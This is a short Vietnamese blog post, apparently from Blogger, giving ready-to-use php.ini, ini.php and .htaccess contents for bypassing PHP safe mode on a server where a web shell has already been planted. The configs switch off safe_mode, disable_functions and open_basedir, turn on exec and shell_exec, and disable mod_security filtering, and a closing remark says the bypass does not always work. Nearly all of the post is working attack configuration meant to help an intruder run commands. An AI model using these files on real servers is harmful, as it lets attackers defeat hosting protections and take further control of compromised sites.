Để bypass safe mode các bạn có thể tạo file php.ini hoặc ini.php hoặc .htaccess ngang hàng con shell

1. php.ini

safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = On
shell_exec = On

2. ini.php

ini_restore("safe_mode");
ini_restore("open_basedir"); 

3. .htaccess

Options +FollowSymLinks
DirectoryIndex ssssss.htm
Options All Indexes
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
SetEnv PHPRC /home/user/public_html/php.ini
suPHP_ConfigPath /home/user/public_html/php.ini 


p/s: Không phải trường hợp nào cũng bypass được

Đăng nhận xét Blogger

 
Top